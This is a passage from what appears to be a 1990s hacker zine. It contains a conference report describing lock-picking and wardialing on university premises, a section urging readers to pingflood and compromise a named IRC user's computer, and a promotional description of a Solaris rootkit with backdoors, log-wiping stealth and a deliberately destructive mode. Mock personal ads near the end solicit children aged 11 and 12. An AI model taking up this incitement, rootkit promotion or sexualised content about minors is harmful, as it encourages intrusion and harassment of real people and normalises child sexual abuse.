laptop, then Leon pulled out his Thinkpad, he booted it, and it counted up to 64mb of RAM, we asked how much hard drive space he had to which he casually replied "6 gig", Leon knew stuff. The first speaker was Ross Anderson, who explained how our predecessors had broken into cash machines (atm's) using various techniques, as well as the flaws in such machines and systems, ranging from all cards having the same PIN, to a trick that Shefield hackers used with phone cards to get cash. He then went on to smartcards and encryption and finished around 11am. We then went up to the network room, where the "hack the flag" competition was to be held, there were a handful of people up there, including a photgrapher and some staff, I only saw 3 systems and 2 terminals, not really enough to use for any competition. Leon sat down and started to toy with his laptop and some CD's he had purchased in Pakistan the day before, he had voice recognition programs and games and a few other "expensive" CD's. We met an American wearing an FBI cap, he also had a laptop, as well as another with long blonde / grayish hear who did alot of cool stuff with the phone line in the network room using various toys he had. We needed to set up a network, we had numerous modems, one network hub with 5 ports, around 8 systems and one phone socket. We soon realised through various methods (one using NightRage's cheap blue telephone) that the only phone socket in the room went through the reception, so NightRage phoned down to the reception, and tried to use his amazing social engineering skills.. Reception : "hello?" NightRage : "hi, is there any way I can get an outside line from this phone?" Reception : "no" NightRage : "OK" We then went on a hunt for working phone lines or hubs that we could use to help us set up our network, the FBI dude soon found a cabinet that looked important, and NightRage and the others helped him pick the lock, inside they found a 3com network hub and a few other goodies, the FBI dude got his laptop and tried to hack his way onto the network, but he couldn't use traceroute or any other programs, so that hub was useless to us unless we knew our own IP. Two younger hackers started to manually wardial the extensions, they found a handful of modem numbers in a very short amount of time. We were quite impressed by their skills. The guy with the long blond / grayish hair went down to a computer shop on Regent street to buy some RJ45 cable so we could use the hub in the cabinet, but he left before we realised that it wasn't usable. Emerson was getting really stressed out, as he was one of the staff, and he had promised the University that no damage would be done to any of the phone / computer lines, he needed a plan to stall us, even though we were telling him everything would be fine, and that we would leave all the stuff as it was when we found it, he was still scared at the consequences, and it was time for lunch, we originally planned to just pop over the street to grab a McDonalds, but Emerson started to take us down Regent street, he asked if we wanted to eat for around �5 at a place he knew well, we agreed, the time was around 1pm... Emerson proceeded to take myself, NightRage, the FBI dude, Wyatt and the two that had manually wardialled the extensions half way around London, we walked down Regent street, onto Tottenham court road and around a load of shops, Wyatt and the FBI dude suggested we should grab a beer, and we easily found a pub. We stopped into the pub and all ordered drinks, we then sat outside and talked about the L0phT, global posistioning and scanning, we left the pub at about 2pm and made our way through alot of roads and came to Kamamama's Japanese restaurant, after stopping into alot of shops on the way and talking about oki phones. We ate good Japanese food in Kamamama's, and Wyatt used his tiny scanner to detect radio comms within the building, his scanner was cool, and he tried to pinpoint the frequency that the waiters broadcast the orders with their handheld systems, at one point he placed the scanner right up next to the handheld and said "can you press that button one more time please". Wyatt also had a transciever that he could use to broadcast on, so he could pinpoint a frequency with his scanner, and the broadcast with his tiny transciever on that frequency. The time was now around 3pm, and we made our way back through a very busy London to the conference, when we got back we went back up to the network room, not alot had happened since we had been away (much as Emerson would have expected) and myself and NightRage toyed with systems for about 30 minutes We then listened to another talk by a journalist who often writes of hacking and computer security issues, called Dave Green (I think), Cold-Fire and the people on the balcony often questioned him, and he generally said "no-one cares what you do, so why should I write about it?" which was pretty true, then another journalist went on saying that he would pay for such stories if they had reason behind them (ie. web site attacks), this was quite interesting. The last talk myself and NightRage listened to was Alan Solomon, to which I asked, when he was talking about the Linux version of his toolkit... "Yeah, does the Linux version detect Windoze '95 as a virus?" He didn't understand, but he's cl00less and hangs on AOL all day... He then went on to talk a load of crap about how amazing AOL was, then he talked about how he has been mailbombed and how "phishers" have tried to pull all his account inf0z (passwords etc.) he was also shouting into the microphone, and I had a speaker right next to me, and I had my finger in one ear for most of the talk, due to the fact that he shouted into the microphone, he also breathed very heavily and walked around alot. We went back up to the network room, which now had 2 systems and 2 terminals, swapped email addresses with Wyatt, Emerson, the FBI dude and a few others, we then said our goodbyes, and left to catch the 8:30 train from Paddington Station. AAA was cool, it was just a pity that only one of the three planned special events actually took place, as well as the fact that there really wasn't enough time for the people there to talk with each other. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Lamer of the fucking year : pSId (DALnet) : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Theres a fucking cl00less g1mp on DALnet called pSId, but then again, most people on DALnet are cl00less, this "cracker" however has the following "mad" skills... - phf - tftp His most highly acclaimed hack was of sony.co.jp (guess the technique.) and since then he has blatently lied about hacking bolero.gsfc.nasa.gov (www.nasa.gov alias) which he says runs tftp. If you see him *anywhere* feel free to pingflood his IP, 0wn his lame fuck Linux box, or anything else. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. STiK : mstrhelix 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -=STiK=- (S)olaris (T)ool (i)diot (K)it ****************************** STiK is a deluxe rootkit for the solaris platform containing not only tools that enable you to gain root access it also allows you to keep it with backdoors. The Alpha version of STiK includes exploits, backdoors, sniffers, connection hijackers, a stealth mode, and eventualy will also include other kewl tewls such as spoofers, other new inovative remote root access backdoors, and maybe if I have enough time a extra option to help you construct your own buffer overflow exploits. STiK supports these platforms... sparc10 and sparc20 and it minimaly supports x86 platforms. The only conflicts you may have while using this tool is if, (like an (i)diot) you use the -Sun4 switch on a solaris 5.x machine or say the -x86 swtich on a -Sun5 and visa versa... but nobody is that stupid. STiK includes the following options.... -Sun4, -Sol5, -x86 --> compiles exploits for following platforms. -backdrs --> installs backdoors and suggests 'em. -stealth --> does whut it says... and very well. -destruc --> if you get cauaght online reek some havok -man --> shows 3r33t manpage -Sun4 compiles loits for SunOS 4.x -Sol5 compiles loits for Solaris 2.5.x -x86 compiles loits for x86 platforms of solaris and sunos -backdrs backdoor menu feature,,, pick and choose or mix and match -stealth invokes programs such as cloak, zap2, block, and etc... -destruc if you get caught and booted this will invoke and fuck some shit up majorly. We dont wanna be destructive but hey !!!YOU FUCKING KICKED ME OFF YER MACHINE ASSHOLE I DIDN'T INVOKE THE -destruc FEATURE R00T DID!!! -man full featured reverse switched manpage to fuck wid yer headz If you'z mutha fuxx0rs have any shit you would like me to add so STiK then speak now or do without cause I have been hard at work coding shit... Also anyone who wants to help port lrk3 backdoors and shit to solaris drop me a line cause its a bitch doing it all by yerself... edge@mindwerks.com 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� --------------------------------------+--------------------------------------- | YOUR SPECIAL AD | LET'S BE FREE | COULD BE RIGHT HERE #@! | Gay White Male 38, 5'11" looking | for men, 12 - 32 clean, fit, and SEND ELECTRONIC MAIL TO: | hairy. Discreet Encounters. ADZ@CODEZ.COM | Call Anytime : (816)781-8009 | (Ask for Tommy) | --------------------------------------+--------------------------------------- | ARE YOU 11 OR 12 ??? | FREE FONESEX! CALL ME NOW!@ | Looking for men 11 - 12 for adult | Yeah huney, you know you want me, video satisfaction. I am 35 into | I'll treat you just right, I'm Professional wrestling. | waiting for your call today! Let's talk soon : (816)453-8722 | CALL ME NOW!@# : (847)546-9154 | (Ask for Kim) --------------------------------------+--------------------------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� _ /| k0dek4t sez... \'o O' =(_o_)= "EyEm HuNGaRy FoR CoDeZ, U nOt CaTf00d!!#@" ::: http://insecurity.insecurity.org/codez/ ::: 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Remember, McDonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�